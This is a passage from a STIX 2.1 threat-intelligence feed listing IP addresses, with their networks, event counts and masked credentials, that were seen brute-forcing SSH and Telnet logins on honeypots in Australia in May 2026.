      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T03:15:10.000Z",
      "valid_until": "2026-06-22T03:15:08.000Z"
    },
    {
      "created": "2026-05-21T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--3335b472-d097-4134-9a1b-5438b7a4582d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T03:15:10.000Z",
      "valid_until": "2026-06-22T03:15:08.000Z"
    },
    {
      "created": "2026-05-21T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--af2e0c96-e532-4a72-800b-97aef2a2d6b0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T03:15:10.000Z",
      "valid_until": "2026-06-22T03:15:08.000Z"
    },
    {
      "created": "2026-05-21T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 139549. Organisation(s): Crisp Enterprises.",
      "id": "indicator--4b85d361-3c4d-407c-a88a-79c81a30a7eb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.146.110.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T04:15:10.000Z",
      "valid_until": "2026-06-22T04:15:08.000Z"
    },
    {
      "created": "2026-05-21T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 5432. Organisation(s): Proximus NV.",
      "id": "indicator--7037b11f-4093-492e-b727-edec52af2e71",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.131.21.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T04:15:10.000Z",
      "valid_until": "2026-06-22T04:15:08.000Z"
    },
    {
      "created": "2026-05-21T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CZ. ASN(s): 62212. Organisation(s): SmartApe OU. Usernames observed (masked): s*******r. Passwords observed (masked): b*****************************#.",
      "id": "indicator--f242966d-6eb9-4ecf-92ad-8cf1d8439151",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.172.8.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T04:15:10.000Z",
      "valid_until": "2026-06-22T04:15:08.000Z"
    },
    {
      "created": "2026-05-21T04:15:10.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22, 23. Source country: AU. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--10a7fd5d-b821-4f1a-8181-a28412f28da5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.105.169.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T04:15:10.000Z",
      "valid_until": "2026-06-22T04:15:08.000Z"
    },
    {
      "created": "2026-05-21T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 27747. Organisation(s): Telecentro S.A..",
      "id": "indicator--bd233111-d730-46d3-a200-66d12d327cbd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.55.123.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T04:15:10.000Z",
      "valid_until": "2026-06-22T04:15:08.000Z"
    },
    {
      "created": "2026-05-21T04:15:10.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22, 23. Source country: AU. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--d4225d28-8876-461a-88dd-495a045f11ef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.46.221.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T04:15:10.000Z",
      "valid_until": "2026-06-22T04:15:08.000Z"
    },
    {
      "created": "2026-05-21T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--812adc31-91d7-4fda-857f-a2bcaeb37ad4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.38.133.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T04:15:10.000Z",
      "valid_until": "2026-06-22T04:15:08.000Z"
    },
    {
      "created": "2026-05-21T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 25. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--911ae543-0580-4010-8b11-9571a9f7a5ea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.187.44.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T04:15:10.000Z",
      "valid_until": "2026-06-22T04:15:08.000Z"
    },
    {
      "created": "2026-05-21T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ES. ASN(s): 3352. Organisation(s): Telefonica De Espana S.a.u..",
      "id": "indicator--159a333b-b6b4-4b79-8fbc-bd3e78ce401b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.13.115.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T04:15:10.000Z",
      "valid_until": "2026-06-22T04:15:08.000Z"
    },
    {
      "created": "2026-05-21T05:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 42237. Organisation(s): w1n ltd. Usernames observed (masked): *, *, n*****r, t**p, **. Passwords observed (masked): *, *, p******d, t**p, **.",
      "id": "indicator--d505edb0-e1b2-41a6-a277-aaf4afc7ec74",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T05:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.246.128.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T05:15:06.000Z",
      "valid_until": "2026-06-22T05:15:03.000Z"
    },
    {
      "created": "2026-05-21T05:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 73. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********9, H**********************3.",
      "id": "indicator--47cba2d0-76c8-4c25-a10d-69d6e272f19d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T05:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.187.27.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T05:15:06.000Z",
      "valid_until": "2026-06-22T05:15:03.000Z"
    },
    {
      "created": "2026-05-21T05:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 268372. Organisation(s): WISESITE COMUNICACAO E TECNOLOGIA.",
      "id": "indicator--33a71911-ebe1-4594-96fc-3a4b0534f624",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T05:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.239.149.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T05:15:06.000Z",
      "valid_until": "2026-06-22T05:15:03.000Z"
    },
    {
      "created": "2026-05-21T05:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 2856. Organisation(s): British Telecommunications PLC.",
      "id": "indicator--e24aacdd-9afa-495e-bd6a-3ef1ca9f7e4b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T05:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '86.160.205.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T05:15:06.000Z",
      "valid_until": "2026-06-22T05:15:03.000Z"
    },
    {
      "created": "2026-05-21T06:15:23.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: BD. ASN(s): 132294. Organisation(s): Elenga Dot Net.",
      "id": "indicator--8931e228-63d8-4c43-8e40-ee79edd8be91",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T06:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.166.47.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T06:15:23.000Z",
      "valid_until": "2026-06-22T06:15:08.000Z"
    },
    {
      "created": "2026-05-21T06:15:23.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 151652. Organisation(s): ZSG Internet Communication Services.",
      "id": "indicator--c83081b2-afb9-49dd-bbe4-1dade5f5e6e1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T06:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.249.203.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T06:15:23.000Z",
      "valid_until": "2026-06-22T06:15:08.000Z"
    },
    {
      "created": "2026-05-21T06:15:23.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--6638973b-aaa5-408b-8dd3-ffc388da24b7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T06:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T06:15:23.000Z",
      "valid_until": "2026-06-22T06:15:08.000Z"
    },
    {
      "created": "2026-05-21T06:15:23.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--a68e78c5-ac36-4e12-9356-c576823ec95b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T06:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T06:15:23.000Z",
      "valid_until": "2026-06-22T06:15:08.000Z"
    },
    {
      "created": "2026-05-21T06:15:23.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--74d970e2-f8f1-4def-be0f-0e8fd333fd47",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T06:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '118.170.180.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T06:15:23.000Z",
      "valid_until": "2026-06-22T06:15:08.000Z"
    },
    {
      "created": "2026-05-21T06:15:23.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PK. ASN(s): 17557. Organisation(s): Pakistan Telecommunication Company Limited. Usernames observed (masked): r**t. Passwords observed (masked): d****n, u****u.",
      "id": "indicator--5eb78f68-07c2-4bd4-9525-3e09f791f11f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T06:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.157.182.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T06:15:23.000Z",
      "valid_until": "2026-06-22T06:15:08.000Z"
    },
    {
      "created": "2026-05-21T06:15:23.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 26615. Organisation(s): TIM SA.",
      "id": "indicator--7dff27ec-91c1-4834-a613-c437212ba2bd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T06:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.34.114.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T06:15:23.000Z",
      "valid_until": "2026-06-22T06:15:08.000Z"
    },
    {
      "created": "2026-05-21T06:15:23.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 60729. Organisation(s): Stiftung Erneuerbare Freiheit. Usernames observed (masked): r**t. Passwords observed (masked): p**************x.",
      "id": "indicator--5c3630e0-1956-4010-aaf7-fec513178dc4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T06:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T06:15:23.000Z",
      "valid_until": "2026-06-22T06:15:08.000Z"
    },
    {
      "created": "2026-05-21T06:15:23.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 73. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C*******9, H**********************3.",
      "id": "indicator--3bd73a03-3bb0-4b27-8346-458ecdb7ac3b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T06:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.156.17.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T06:15:23.000Z",
      "valid_until": "2026-06-22T06:15:08.000Z"
    },
    {
      "created": "2026-05-21T06:15:23.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--f47a31f3-29a3-474a-a36e-d416bfe36596",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T06:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.43.159.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T06:15:23.000Z",
      "valid_until": "2026-06-22T06:15:08.000Z"
    },
    {
      "created": "2026-05-21T06:15:23.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--d9edc05e-8f41-4776-8284-70671902b54f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T06:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T06:15:23.000Z",
      "valid_until": "2026-06-22T06:15:08.000Z"
    },
    {
      "created": "2026-05-21T06:15:23.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 44664. Organisation(s): TOV company M-Tel.",
      "id": "indicator--642363d3-4fc4-4e99-ad8f-4001aaa70f9f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T06:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.202.145.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T06:15:23.000Z",
      "valid_until": "2026-06-22T06:15:08.000Z"
    },
    {
      "created": "2026-05-21T08:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 137172. Organisation(s): ALL CONNECT NETWORK SERVICES PRIVATE LIMITED.",
      "id": "indicator--1839729d-bc6a-4722-80d5-466725d9a329",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.112.214.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T08:15:06.000Z",
      "valid_until": "2026-06-22T08:15:03.000Z"
    },
    {
      "created": "2026-05-21T08:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 138112. Organisation(s): PT. Megarap Mitra Solusi.",
      "id": "indicator--132bebc4-0c21-4cfc-ac00-f8afcfbdf41f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.126.174.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T08:15:06.000Z",
      "valid_until": "2026-06-22T08:15:03.000Z"
    },
    {
      "created": "2026-05-21T08:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--7569e86d-5c2d-4957-a0b8-043bbd8bc28f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '110.19.173.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T08:15:06.000Z",
      "valid_until": "2026-06-22T08:15:03.000Z"
    },
    {
      "created": "2026-05-21T08:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 9674. Organisation(s): Far EastTone Telecommunication Co., Ltd..",
      "id": "indicator--aad5b365-db5b-4420-99ae-f87f7369d356",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '110.24.36.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T08:15:06.000Z",
      "valid_until": "2026-06-22T08:15:03.000Z"
    },
    {
      "created": "2026-05-21T08:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--0aade5e9-47f9-46a6-aeed-b67bb8558bc5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.102.39.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T08:15:06.000Z",
      "valid_until": "2026-06-22T08:15:03.000Z"
    },
    {
      "created": "2026-05-21T08:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--533499a8-1929-49cc-83bb-c7e4eba24660",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.103.204.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T08:15:06.000Z",
      "valid_until": "2026-06-22T08:15:03.000Z"
    },
    {
      "created": "2026-05-21T08:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 9299. Organisation(s): Philippine Long Distance Telephone Company.",
      "id": "indicator--8281cb11-c0c2-41da-9f29-0c028e1b9659",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.208.172.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T08:15:06.000Z",
      "valid_until": "2026-06-22T08:15:03.000Z"
    },
    {
      "created": "2026-05-21T08:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--e9379b0d-527a-440d-beee-53e106a38508",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.221.79.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T08:15:06.000Z",
      "valid_until": "2026-06-22T08:15:03.000Z"
    },
    {
      "created": "2026-05-21T08:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--484b63d6-8f03-4cf5-93cc-b4686817946b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.221.98.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
